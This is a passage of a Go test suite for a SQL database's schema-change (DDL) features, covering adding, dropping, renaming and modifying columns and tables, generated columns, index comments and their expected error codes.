defer ticker.Stop() step := 10 LOOP: for { select { case err := <-done: if err == nil { break LOOP } c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) case <-ticker.C: // delete some rows, and add some data for i := num; i < num+step; i++ { n := rand.Intn(num) s.tk.MustExec(""begin"") s.tk.MustExec(""delete from t2 where c1 = ?"", n) s.tk.MustExec(""commit"") // Make sure that statement of insert and show use the same infoSchema. s.tk.MustExec(""begin"") _, err := s.tk.Exec(""insert into t2 values (?, ?, ?)"", i, i, i) if err != nil { // if err is failed, the column number must be 4 now. values := s.showColumns(c, ""t2"") c.Assert(values, HasLen, 4, Commentf(""err:%v"", errors.ErrorStack(err))) } s.tk.MustExec(""commit"") } num += step } } // add data, here c4 must exist for i := num; i < num+step; i++ { s.tk.MustExec(""insert into t2 values (?, ?, ?, ?)"", i, i, i, i) } rows := s.mustQuery(c, ""select count(c4) from t2"") c.Assert(rows, HasLen, 1) c.Assert(rows[0], HasLen, 1) count, err := strconv.ParseInt(rows[0][0].(string), 10, 64) c.Assert(err, IsNil) c.Assert(count, Greater, int64(0)) rows = s.mustQuery(c, ""select count(c4) from t2 where c4 = -1"") matchRows(c, rows, [][]interface{}{{count - int64(step)}}) for i := num; i < num+step; i++ { rows = s.mustQuery(c, ""select c4 from t2 where c4 = ?"", i) matchRows(c, rows, [][]interface{}{{i}}) } ctx := s.s.(sessionctx.Context) t := s.testGetTable(c, ""t2"") i := 0 j := 0 ctx.NewTxn(context.Background()) defer func() { if txn, err1 := ctx.Txn(true); err1 == nil { txn.Rollback() } }() err = t.IterRecords(ctx, t.FirstKey(), t.Cols(), func(h int64, data []types.Datum, cols []*table.Column) (bool, error) { i++ // c4 must be -1 or > 0 v, err1 := data[3].ToInt64(ctx.GetSessionVars().StmtCtx) c.Assert(err1, IsNil) if v == -1 { j++ } else { c.Assert(v, Greater, int64(0)) } return true, nil }) c.Assert(err, IsNil) c.Assert(i, Equals, int(count)) c.Assert(i, LessEqual, num+step) c.Assert(j, Equals, int(count)-step) // for modifying columns after adding columns s.tk.MustExec(""alter table t2 modify c4 int default 11"") for i := num + step; i < num+step+10; i++ { s.mustExec(c, ""insert into t2 values (?, ?, ?, ?)"", i, i, i, i) } rows = s.mustQuery(c, ""select count(c4) from t2 where c4 = -1"") matchRows(c, rows, [][]interface{}{{count - int64(step)}}) // add timestamp type column s.mustExec(c, ""create table test_on_update_c (c1 int, c2 timestamp);"") s.mustExec(c, ""alter table test_on_update_c add column c3 timestamp null default '2017-02-11' on update current_timestamp;"") is := domain.GetDomain(ctx).InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_on_update_c"")) c.Assert(err, IsNil) tblInfo := tbl.Meta() colC := tblInfo.Columns[2] c.Assert(colC.Tp, Equals, mysql.TypeTimestamp) hasNotNull := tmysql.HasNotNullFlag(colC.Flag) c.Assert(hasNotNull, IsFalse) // add datetime type column s.mustExec(c, ""create table test_on_update_d (c1 int, c2 datetime);"") s.mustExec(c, ""alter table test_on_update_d add column c3 datetime on update current_timestamp;"") is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""test_on_update_d"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colC = tblInfo.Columns[2] c.Assert(colC.Tp, Equals, mysql.TypeDatetime) hasNotNull = tmysql.HasNotNullFlag(colC.Flag) c.Assert(hasNotNull, IsFalse) // test add unsupported constraint s.mustExec(c, ""create table t_add_unsupported_constraint (a int);"") _, err = s.tk.Exec(""ALTER TABLE t_add_unsupported_constraint ADD id int AUTO_INCREMENT;"") c.Assert(err.Error(), Equals, ""[ddl:202]unsupported add column 'id' constraint AUTO_INCREMENT when altering 'test_db.t_add_unsupported_constraint'"") _, err = s.tk.Exec(""ALTER TABLE t_add_unsupported_constraint ADD id int KEY;"") c.Assert(err.Error(), Equals, ""[ddl:202]unsupported add column 'id' constraint PRIMARY KEY when altering 'test_db.t_add_unsupported_constraint'"") _, err = s.tk.Exec(""ALTER TABLE t_add_unsupported_constraint ADD id int UNIQUE;"") c.Assert(err.Error(), Equals, ""[ddl:202]unsupported add column 'id' constraint UNIQUE KEY when altering 'test_db.t_add_unsupported_constraint'"") } func (s *testDBSuite) testDropColumn(c *C) { done := make(chan error, 1) s.mustExec(c, ""delete from t2"") num := 100 // add some rows for i := 0; i < num; i++ { s.mustExec(c, ""insert into t2 values (?, ?, ?, ?)"", i, i, i, i) } // get c4 column id testddlutil.SessionExecInGoroutine(c, s.store, ""alter table t2 drop column c4"", done) ticker := time.NewTicker(s.lease / 2) defer ticker.Stop() step := 10 LOOP: for { select { case err := <-done: if err == nil { break LOOP } c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) case <-ticker.C: // delete some rows, and add some data for i := num; i < num+step; i++ { // Make sure that statement of insert and show use the same infoSchema. s.tk.MustExec(""begin"") _, err := s.tk.Exec(""insert into t2 values (?, ?, ?)"", i, i, i) if err != nil { // If executing is failed, the column number must be 4 now. values := s.showColumns(c, ""t2"") c.Assert(values, HasLen, 4, Commentf(""err:%v"", errors.ErrorStack(err))) } s.tk.MustExec(""commit"") } num += step } } // add data, here c4 must not exist for i := num; i < num+step; i++ { s.mustExec(c, ""insert into t2 values (?, ?, ?)"", i, i, i) } rows := s.mustQuery(c, ""select count(*) from t2"") c.Assert(rows, HasLen, 1) c.Assert(rows[0], HasLen, 1) count, err := strconv.ParseInt(rows[0][0].(string), 10, 64) c.Assert(err, IsNil) c.Assert(count, Greater, int64(0)) } // TestDropColumn is for inserting value with a to-be-dropped column when do drop column. // Column info from schema in build-insert-plan should be public only, // otherwise they will not be consist with Table.Col(), then the server will panic. func (s *testDBSuite) TestDropColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""create database drop_col_db"") s.tk.MustExec(""use drop_col_db"") s.tk.MustExec(""create table t2 (c1 int, c2 int, c3 int)"") num := 50 dmlDone := make(chan error, num) ddlDone := make(chan error, num) multiDDL := make([]string, 0, num) for i := 0; i < num/2; i++ { multiDDL = append(multiDDL, ""alter table t2 add column c4 int"", ""alter table t2 drop column c4"") } testddlutil.ExecMultiSQLInGoroutine(c, s.store, ""drop_col_db"", multiDDL, ddlDone) for i := 0; i < num; i++ { testddlutil.ExecMultiSQLInGoroutine(c, s.store, ""drop_col_db"", []string{""insert into t2 set c1 = 1, c2 = 1, c3 = 1, c4 = 1""}, dmlDone) } for i := 0; i < num; i++ { select { case err := <-ddlDone: c.Assert(err, IsNil, Commentf(""err:%v"", errors.ErrorStack(err))) } } s.tk.MustExec(""drop database drop_col_db"") } func (s *testDBSuite) TestPrimaryKey(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.mustExec(c, ""create table primary_key_test (a int, b varchar(10))"") _, err := s.tk.Exec(""alter table primary_key_test add primary key(a)"") c.Assert(ddl.ErrUnsupportedModifyPrimaryKey.Equal(err), IsTrue) _, err = s.tk.Exec(""alter table primary_key_test drop primary key"") c.Assert(ddl.ErrUnsupportedModifyPrimaryKey.Equal(err), IsTrue) } func (s *testDBSuite) TestChangeColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.mustExec(c, ""create table t3 (a int default '0', b varchar(10), d int not null default '0')"") s.mustExec(c, ""insert into t3 set b = 'a'"") s.tk.MustQuery(""select a from t3"").Check(testkit.Rows(""0"")) s.mustExec(c, ""alter table t3 change a aa bigint"") s.mustExec(c, ""insert into t3 set b = 'b'"") s.tk.MustQuery(""select aa from t3"").Check(testkit.Rows(""0"", """")) // for no default flag s.mustExec(c, ""alter table t3 change d dd bigint not null"") ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""t3"")) c.Assert(err, IsNil) tblInfo := tbl.Meta() colD := tblInfo.Columns[2] hasNoDefault := tmysql.HasNoDefaultValueFlag(colD.Flag) c.Assert(hasNoDefault, IsTrue) // for the following definitions: 'not null', 'null', 'default value' and 'comment' s.mustExec(c, ""alter table t3 change b b varchar(20) null default 'c' comment 'my comment'"") is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""t3"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colB := tblInfo.Columns[1] c.Assert(colB.Comment, Equals, ""my comment"") hasNotNull := tmysql.HasNotNullFlag(colB.Flag) c.Assert(hasNotNull, IsFalse) s.mustExec(c, ""insert into t3 set aa = 3, dd = 5"") s.tk.MustQuery(""select b from t3"").Check(testkit.Rows(""a"", ""b"", ""c"")) // for timestamp s.mustExec(c, ""alter table t3 add column c timestamp not null"") s.mustExec(c, ""alter table t3 change c c timestamp null default '2017-02-11' comment 'col c comment' on update current_timestamp"") is = domain.GetDomain(ctx).InfoSchema() tbl, err = is.TableByName(model.NewCIStr(""test_db""), model.NewCIStr(""t3"")) c.Assert(err, IsNil) tblInfo = tbl.Meta() colC := tblInfo.Columns[3] c.Assert(colC.Comment, Equals, ""col c comment"") hasNotNull = tmysql.HasNotNullFlag(colC.Flag) c.Assert(hasNotNull, IsFalse) // for enum s.mustExec(c, ""alter table t3 add column en enum('a', 'b', 'c') not null default 'a'"") // for failing tests sql := ""alter table t3 change aa a bigint default ''"" s.testErrorCode(c, sql, tmysql.ErrInvalidDefault) sql = ""alter table t3 change a testx.t3.aa bigint"" s.testErrorCode(c, sql, tmysql.ErrWrongDBName) sql = ""alter table t3 change t.a aa bigint"" s.testErrorCode(c, sql, tmysql.ErrWrongTableName) s.mustExec(c, ""create table t4 (c1 int, c2 int, c3 int default 1, index (c1));"") s.tk.MustExec(""insert into t4(c2) values (null);"") sql = ""alter table t4 change c1 a1 int not null;"" s.testErrorCode(c, sql, tmysql.ErrInvalidUseOfNull) sql = ""alter table t4 change c2 a bigint not null;"" s.testErrorCode(c, sql, tmysql.WarnDataTruncated) sql = ""alter table t3 modify en enum('a', 'z', 'b', 'c') not null default 'a'"" s.testErrorCode(c, sql, tmysql.ErrUnknown) // Rename to an existing column. s.mustExec(c, ""alter table t3 add column a bigint"") sql = ""alter table t3 change aa a bigint"" s.testErrorCode(c, sql, tmysql.ErrDupFieldName) s.tk.MustExec(""drop table t3"") } func (s *testDBSuite) mustExec(c *C, query string, args ...interface{}) { s.tk.MustExec(query, args...) } func (s *testDBSuite) mustQuery(c *C, query string, args ...interface{}) [][]interface{} { r := s.tk.MustQuery(query, args...) return r.Rows() } func matchRows(c *C, rows [][]interface{}, expected [][]interface{}) { c.Assert(len(rows), Equals, len(expected), Commentf(""got %v, expected %v"", rows, expected)) for i := range rows { match(c, rows[i], expected[i]...) } } func match(c *C, row []interface{}, expected ...interface{}) { c.Assert(len(row), Equals, len(expected)) for i := range row { got := fmt.Sprintf(""%v"", row[i]) need := fmt.Sprintf(""%v"", expected[i]) c.Assert(got, Equals, need) } } func (s *testDBSuite) TestCreateTableWithLike(c *C) { s.tk = testkit.NewTestKit(c, s.store) // for the same database s.tk.MustExec(""create database ctwl_db"") s.tk.MustExec(""use ctwl_db"") s.tk.MustExec(""create table tt(id int primary key)"") s.tk.MustExec(""create table t (c1 int not null auto_increment, c2 int, constraint cc foreign key (c2) references tt(id), primary key(c1)) auto_increment = 10"") s.tk.MustExec(""insert into t set c2=1"") s.tk.MustExec(""create table t1 like ctwl_db.t"") s.tk.MustExec(""insert into t1 set c2=11"") s.tk.MustExec(""create table t2 (like ctwl_db.t1)"") s.tk.MustExec(""insert into t2 set c2=12"") s.tk.MustQuery(""select * from t"").Check(testkit.Rows(""10 1"")) s.tk.MustQuery(""select * from t1"").Check(testkit.Rows(""1 11"")) s.tk.MustQuery(""select * from t2"").Check(testkit.Rows(""1 12"")) ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tbl1, err := is.TableByName(model.NewCIStr(""ctwl_db""), model.NewCIStr(""t1"")) c.Assert(err, IsNil) tbl1Info := tbl1.Meta() c.Assert(tbl1Info.ForeignKeys, IsNil) c.Assert(tbl1Info.PKIsHandle, Equals, true) col := tbl1Info.Columns[0] hasNotNull := tmysql.HasNotNullFlag(col.Flag) c.Assert(hasNotNull, IsTrue) tbl2, err := is.TableByName(model.NewCIStr(""ctwl_db""), model.NewCIStr(""t2"")) c.Assert(err, IsNil) tbl2Info := tbl2.Meta() c.Assert(tbl2Info.ForeignKeys, IsNil) c.Assert(tbl2Info.PKIsHandle, Equals, true) c.Assert(tmysql.HasNotNullFlag(tbl2Info.Columns[0].Flag), IsTrue) // for different databases s.tk.MustExec(""create database ctwl_db1"") s.tk.MustExec(""use ctwl_db1"") s.tk.MustExec(""create table t1 like ctwl_db.t"") s.tk.MustExec(""insert into t1 set c2=11"") s.tk.MustQuery(""select * from t1"").Check(testkit.Rows(""1 11"")) is = domain.GetDomain(ctx).InfoSchema() tbl1, err = is.TableByName(model.NewCIStr(""ctwl_db1""), model.NewCIStr(""t1"")) c.Assert(err, IsNil) c.Assert(tbl1.Meta().ForeignKeys, IsNil) // for failure cases failSQL := fmt.Sprintf(""create table t1 like test_not_exist.t"") s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) failSQL = fmt.Sprintf(""create table t1 like test.t_not_exist"") s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) failSQL = fmt.Sprintf(""create table t1 (like test_not_exist.t)"") s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) failSQL = fmt.Sprintf(""create table test_not_exis.t1 like ctwl_db.t"") s.testErrorCode(c, failSQL, tmysql.ErrBadDB) failSQL = fmt.Sprintf(""create table t1 like ctwl_db.t"") s.testErrorCode(c, failSQL, tmysql.ErrTableExists) s.tk.MustExec(""drop database ctwl_db"") s.tk.MustExec(""drop database ctwl_db1"") } func (s *testDBSuite) TestCreateTable(c *C) { s.tk.MustExec(""use test"") s.tk.MustExec(""CREATE TABLE `t` (`a` double DEFAULT 1.0 DEFAULT now() DEFAULT 2.0 );"") s.tk.MustExec(""CREATE TABLE IF NOT EXISTS `t` (`a` double DEFAULT 1.0 DEFAULT now() DEFAULT 2.0 );"") ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() tbl, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""t"")) c.Assert(err, IsNil) cols := tbl.Cols() c.Assert(len(cols), Equals, 1) col := cols[0] c.Assert(col.Name.L, Equals, ""a"") d, ok := col.DefaultValue.(string) c.Assert(ok, IsTrue) c.Assert(d, Equals, ""2.0"") s.tk.MustExec(""drop table t"") _, err = s.tk.Exec(""CREATE TABLE `t` (`a` int) DEFAULT CHARSET=abcdefg"") c.Assert(err, NotNil) // test for enum column failSQL := ""create table t_enum (a enum('e','e'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) failSQL = ""create table t_enum (a enum('e','E'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) failSQL = ""create table t_enum (a enum('abc','Abc'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) // test for set column failSQL = ""create table t_enum (a set('e','e'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) failSQL = ""create table t_enum (a set('e','E'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) failSQL = ""create table t_enum (a set('abc','Abc'));"" s.testErrorCode(c, failSQL, tmysql.ErrDuplicatedValueInType) _, err = s.tk.Exec(""create table t_enum (a enum('B','b'));"") c.Assert(err.Error(), Equals, ""[types:1291]Column 'a' has duplicated value 'B' in ENUM"") } func (s *testDBSuite) TestTableForeignKey(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""create table t1 (a int, b int);"") // test create table with foreign key. failSQL := ""create table t2 (c int, foreign key (a) references t1(a));"" s.testErrorCode(c, failSQL, tmysql.ErrKeyColumnDoesNotExits) // test add foreign key. s.tk.MustExec(""create table t3 (a int, b int);"") failSQL = ""alter table t1 add foreign key (c) REFERENCES t3(a);"" s.testErrorCode(c, failSQL, tmysql.ErrKeyColumnDoesNotExits) s.tk.MustExec(""drop table if exists t1,t2,t3;"") } func (s *testDBSuite) TestTruncateTable(c *C) { tk := testkit.NewTestKit(c, s.store) tk.MustExec(""use test"") tk.MustExec(""create table truncate_table (c1 int, c2 int)"") tk.MustExec(""insert truncate_table values (1, 1), (2, 2)"") ctx := tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() oldTblInfo, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""truncate_table"")) c.Assert(err, IsNil) oldTblID := oldTblInfo.Meta().ID tk.MustExec(""truncate table truncate_table"") tk.MustExec(""insert truncate_table values (3, 3), (4, 4)"") tk.MustQuery(""select * from truncate_table"").Check(testkit.Rows(""3 3"", ""4 4"")) is = domain.GetDomain(ctx).InfoSchema() newTblInfo, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""truncate_table"")) c.Assert(err, IsNil) c.Assert(newTblInfo.Meta().ID, Greater, oldTblID) // Verify that the old table data has been deleted by background worker. tablePrefix := tablecodec.EncodeTablePrefix(oldTblID) hasOldTableData := true for i := 0; i < waitForCleanDataRound; i++ { err = kv.RunInNewTxn(s.store, false, func(txn kv.Transaction) error { it, err1 := txn.Iter(tablePrefix, nil) if err1 != nil { return err1 } if !it.Valid() { hasOldTableData = false } else { hasOldTableData = it.Key().HasPrefix(tablePrefix) } it.Close() return nil }) c.Assert(err, IsNil) if !hasOldTableData { break } time.Sleep(waitForCleanDataInterval) } c.Assert(hasOldTableData, IsFalse) } func (s *testDBSuite) TestRenameTable(c *C) { isAlterTable := false s.testRenameTable(c, ""rename table %s to %s"", isAlterTable) } func (s *testDBSuite) TestAlterTableRenameTable(c *C) { isAlterTable := true s.testRenameTable(c, ""alter table %s rename to %s"", isAlterTable) } func (s *testDBSuite) testRenameTable(c *C, sql string, isAlterTable bool) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") // for different databases s.tk.MustExec(""create table t (c1 int, c2 int)"") s.tk.MustExec(""insert t values (1, 1), (2, 2)"") ctx := s.tk.Se.(sessionctx.Context) is := domain.GetDomain(ctx).InfoSchema() oldTblInfo, err := is.TableByName(model.NewCIStr(""test""), model.NewCIStr(""t"")) c.Assert(err, IsNil) oldTblID := oldTblInfo.Meta().ID s.tk.MustExec(""create database test1"") s.tk.MustExec(""use test1"") s.tk.MustExec(fmt.Sprintf(sql, ""test.t"", ""test1.t1"")) is = domain.GetDomain(ctx).InfoSchema() newTblInfo, err := is.TableByName(model.NewCIStr(""test1""), model.NewCIStr(""t1"")) c.Assert(err, IsNil) c.Assert(newTblInfo.Meta().ID, Equals, oldTblID) s.tk.MustQuery(""select * from t1"").Check(testkit.Rows(""1 1"", ""2 2"")) s.tk.MustExec(""use test"") // Make sure t doesn't exist. s.tk.MustExec(""create table t (c1 int, c2 int)"") s.tk.MustExec(""drop table t"") // for the same database s.tk.MustExec(""use test1"") s.tk.MustExec(fmt.Sprintf(sql, ""t1"", ""t2"")) is = domain.GetDomain(ctx).InfoSchema() newTblInfo, err = is.TableByName(model.NewCIStr(""test1""), model.NewCIStr(""t2"")) c.Assert(err, IsNil) c.Assert(newTblInfo.Meta().ID, Equals, oldTblID) s.tk.MustQuery(""select * from t2"").Check(testkit.Rows(""1 1"", ""2 2"")) isExist := is.TableExists(model.NewCIStr(""test1""), model.NewCIStr(""t1"")) c.Assert(isExist, IsFalse) s.tk.MustQuery(""show tables"").Check(testkit.Rows(""t2"")) // for failure case failSQL := fmt.Sprintf(sql, ""test_not_exist.t"", ""test_not_exist.t"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrFileNotFound) } failSQL = fmt.Sprintf(sql, ""test.test_not_exist"", ""test.test_not_exist"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrFileNotFound) } failSQL = fmt.Sprintf(sql, ""test.t_not_exist"", ""test_not_exist.t"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrFileNotFound) } failSQL = fmt.Sprintf(sql, ""test1.t2"", ""test_not_exist.t"") s.testErrorCode(c, failSQL, tmysql.ErrErrorOnRename) s.tk.MustExec(""use test1"") s.tk.MustExec(""create table if not exists t_exist (c1 int, c2 int)"") failSQL = fmt.Sprintf(sql, ""test1.t2"", ""test1.t_exist"") s.testErrorCode(c, failSQL, tmysql.ErrTableExists) failSQL = fmt.Sprintf(sql, ""test.t_not_exist"", ""test1.t_exist"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrTableExists) } failSQL = fmt.Sprintf(sql, ""test_not_exist.t"", ""test1.t_exist"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrTableExists) } failSQL = fmt.Sprintf(sql, ""test_not_exist.t"", ""test1.t_not_exist"") if isAlterTable { s.testErrorCode(c, failSQL, tmysql.ErrNoSuchTable) } else { s.testErrorCode(c, failSQL, tmysql.ErrFileNotFound) } // for the same table name s.tk.MustExec(""use test1"") s.tk.MustExec(""create table if not exists t (c1 int, c2 int)"") s.tk.MustExec(""create table if not exists t1 (c1 int, c2 int)"") if isAlterTable { s.tk.MustExec(fmt.Sprintf(sql, ""test1.t"", ""t"")) s.tk.MustExec(fmt.Sprintf(sql, ""test1.t1"", ""test1.T1"")) } else { s.testErrorCode(c, fmt.Sprintf(sql, ""test1.t"", ""t""), tmysql.ErrTableExists) s.testErrorCode(c, fmt.Sprintf(sql, ""test1.t1"", ""test1.T1""), tmysql.ErrTableExists) } s.tk.MustExec(""drop database test1"") } func (s *testDBSuite) TestRenameMultiTables(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") s.tk.MustExec(""create table t1(id int)"") s.tk.MustExec(""create table t2(id int)"") // Currently it will fail only. sql := fmt.Sprintf(""rename table t1 to t3, t2 to t4"") _, err := s.tk.Exec(sql) c.Assert(err, NotNil) originErr := errors.Cause(err) c.Assert(originErr.Error(), Equals, ""can't run multi schema change"") s.tk.MustExec(""drop table t1, t2"") } func (s *testDBSuite) TestAddNotNullColumn(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test_db"") // for different databases s.tk.MustExec(""create table tnn (c1 int primary key auto_increment, c2 int)"") s.tk.MustExec(""insert tnn (c2) values (0)"" + strings.Repeat("",(0)"", 99)) done := make(chan error, 1) testddlutil.SessionExecInGoroutine(c, s.store, ""alter table tnn add column c3 int not null default 3"", done) updateCnt := 0 out: for { select { case err := <-done: c.Assert(err, IsNil) break out default: s.tk.MustExec(""update tnn set c2 = c2 + 1 where c1 = 99"") updateCnt++ } } expected := fmt.Sprintf(""%d %d"", updateCnt, 3) s.tk.MustQuery(""select c2, c3 from tnn where c1 = 99"").Check(testkit.Rows(expected)) s.tk.MustExec(""drop table tnn"") } func (s *testDBSuite) TestGeneratedColumnDDL(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use test"") // Check create table with virtual generated column. s.tk.MustExec(`CREATE TABLE test_gv_ddl(a int, b int as (a+8) virtual)`) // Check desc table with virtual generated column. result := s.tk.MustQuery(`DESC test_gv_ddl`) result.Check(testkit.Rows(`a int(11) YES `, `b int(11) YES VIRTUAL GENERATED`)) // Check show create table with virtual generated column. result = s.tk.MustQuery(`show create table test_gv_ddl`) result.Check(testkit.Rows( ""test_gv_ddl CREATE TABLE `test_gv_ddl` (\n `a` int(11) DEFAULT NULL,\n `b` int(11) GENERATED ALWAYS AS (`a` + 8) VIRTUAL DEFAULT NULL\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"", )) // Check alter table add a stored generated column. s.tk.MustExec(`alter table test_gv_ddl add column c int as (b+2) stored`) result = s.tk.MustQuery(`DESC test_gv_ddl`) result.Check(testkit.Rows(`a int(11) YES `, `b int(11) YES VIRTUAL GENERATED`, `c int(11) YES STORED GENERATED`)) // Check generated expression with blanks. s.tk.MustExec(""create table table_with_gen_col_blanks (a int, b char(20) as (cast( \r\n\t a \r\n\tas char)))"") result = s.tk.MustQuery(`show create table table_with_gen_col_blanks`) result.Check(testkit.Rows(""table_with_gen_col_blanks CREATE TABLE `table_with_gen_col_blanks` (\n"" + "" `a` int(11) DEFAULT NULL,\n"" + "" `b` char(20) GENERATED ALWAYS AS (CAST(`a` AS CHAR)) VIRTUAL DEFAULT NULL\n"" + "") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin"")) genExprTests := []struct { stmt string err int }{ // drop/rename columns dependent by other column. {`alter table test_gv_ddl drop column a`, mysql.ErrDependentByGeneratedColumn}, {`alter table test_gv_ddl change column a anew int`, mysql.ErrBadField}, // modify/change stored status of generated columns. {`alter table test_gv_ddl modify column b bigint`, mysql.ErrUnsupportedOnGeneratedColumn}, {`alter table test_gv_ddl change column c cnew bigint as (a+100)`, mysql.ErrUnsupportedOnGeneratedColumn}, // modify/change generated columns breaking prior. {`alter table test_gv_ddl modify column b int as (c+100)`, mysql.ErrGeneratedColumnNonPrior}, {`alter table test_gv_ddl change column b bnew int as (c+100)`, mysql.ErrGeneratedColumnNonPrior}, // refer not exist columns in generation expression. {`create table test_gv_ddl_bad (a int, b int as (c+8))`, mysql.ErrBadField}, // refer generated columns non prior. {`create table test_gv_ddl_bad (a int, b int as (c+1), c int as (a+1))`, mysql.ErrGeneratedColumnNonPrior}, // virtual generated columns cannot be primary key. {`create table test_gv_ddl_bad (a int, b int, c int as (a+b) primary key)`, mysql.ErrUnsupportedOnGeneratedColumn}, {`create table test_gv_ddl_bad (a int, b int, c int as (a+b), primary key(c))`, mysql.ErrUnsupportedOnGeneratedColumn}, {`create table test_gv_ddl_bad (a int, b int, c int as (a+b), primary key(a, c))`, mysql.ErrUnsupportedOnGeneratedColumn}, } for _, tt := range genExprTests { s.testErrorCode(c, tt.stmt, tt.err) } // Check alter table modify/change generated column. s.tk.MustExec(`alter table test_gv_ddl modify column c bigint as (b+200) stored`) result = s.tk.MustQuery(`DESC test_gv_ddl`) result.Check(testkit.Rows(`a int(11) YES `, `b int(11) YES VIRTUAL GENERATED`, `c bigint(20) YES STORED GENERATED`)) s.tk.MustExec(`alter table test_gv_ddl change column b b bigint as (a+100) virtual`) result = s.tk.MustQuery(`DESC test_gv_ddl`) result.Check(testkit.Rows(`a int(11) YES `, `b bigint(20) YES VIRTUAL GENERATED`, `c bigint(20) YES STORED GENERATED`)) s.tk.MustExec(`alter table test_gv_ddl change column c cnew bigint`) result = s.tk.MustQuery(`DESC test_gv_ddl`) result.Check(testkit.Rows(`a int(11) YES `, `b bigint(20) YES VIRTUAL GENERATED`, `cnew bigint(20) YES `)) } func (s *testDBSuite) TestComment(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""drop table if exists ct, ct1"") validComment := strings.Repeat(""a"", 1024) invalidComment := strings.Repeat(""b"", 1025) s.tk.MustExec(""create table ct (c int, d int, e int, key (c) comment '"" + validComment + ""')"") s.tk.MustExec(""create index i on ct (d) comment '"" + validComment + ""'"") s.tk.MustExec(""alter table ct add key (e) comment '"" + validComment + ""'"") s.testErrorCode(c, ""create table ct1 (c int, key (c) comment '""+invalidComment+""')"", tmysql.ErrTooLongIndexComment) s.testErrorCode(c, ""create index i1 on ct (d) comment '""+invalidComment+""b""+""'"", tmysql.ErrTooLongIndexComment) s.testErrorCode(c, ""alter table ct add key (e) comment '""+invalidComment+""'"", tmysql.ErrTooLongIndexComment) s.tk.MustExec(""set @@sql_mode=''"") s.tk.MustExec(""create table ct1 (c int, d int, e int, key (c) comment '"" + invalidComment + ""')"") c.Assert(s.tk.Se.GetSessionVars().StmtCtx.WarningCount(), Equals, uint16(1)) s.tk.MustQuery(""show warnings"").Check(testutil.RowsWithSep(""|"", ""Warning|1688|Comment for index 'c' is too long (max = 1024)"")) s.tk.MustExec(""create index i1 on ct1 (d) comment '"" + invalidComment + ""b"" + ""'"") c.Assert(s.tk.Se.GetSessionVars().StmtCtx.WarningCount(), Equals, uint16(1)) s.tk.MustQuery(""show warnings"").Check(testutil.RowsWithSep(""|"", ""Warning|1688|Comment for index 'i1' is too long (max = 1024)"")) s.tk.MustExec(""alter table ct1 add key (e) comment '"" + invalidComment + ""'"") c.Assert(s.tk.Se.GetSessionVars().StmtCtx.WarningCount(), Equals, uint16(1)) s.tk.MustQuery(""show warnings"").Check(testutil.RowsWithSep(""|"", ""Warning|1688|Comment for index 'e' is too long (max = 1024)"")) s.tk.MustExec(""drop table if exists ct, ct1"") } func (s *testDBSuite) TestRebaseAutoID(c *C) { s.tk = testkit.NewTestKit(c, s.store) s.tk.MustExec(""use "" + s.schemaName) s.tk.MustExec(""drop database if exists tidb;"") s.tk.MustExec(""create database tidb;"") s.tk.MustExec(""use tidb;"") s.tk.MustExec(""create table tidb.test (a int auto_increment primary key, b int);"") s.tk.MustExec(""insert tidb.test values (null, 1);"") s.tk.MustQuery(""select * from tidb.test"").Check(testkit.Rows(""1 1"")) s.tk.MustExec(""alter table tidb.test auto_increment = 6000;"") s.tk.MustExec(""insert tidb.test values (null, 1);"") s.tk.MustQuery(""select * from tidb.test"").Check(testkit.Rows(""1 1"", 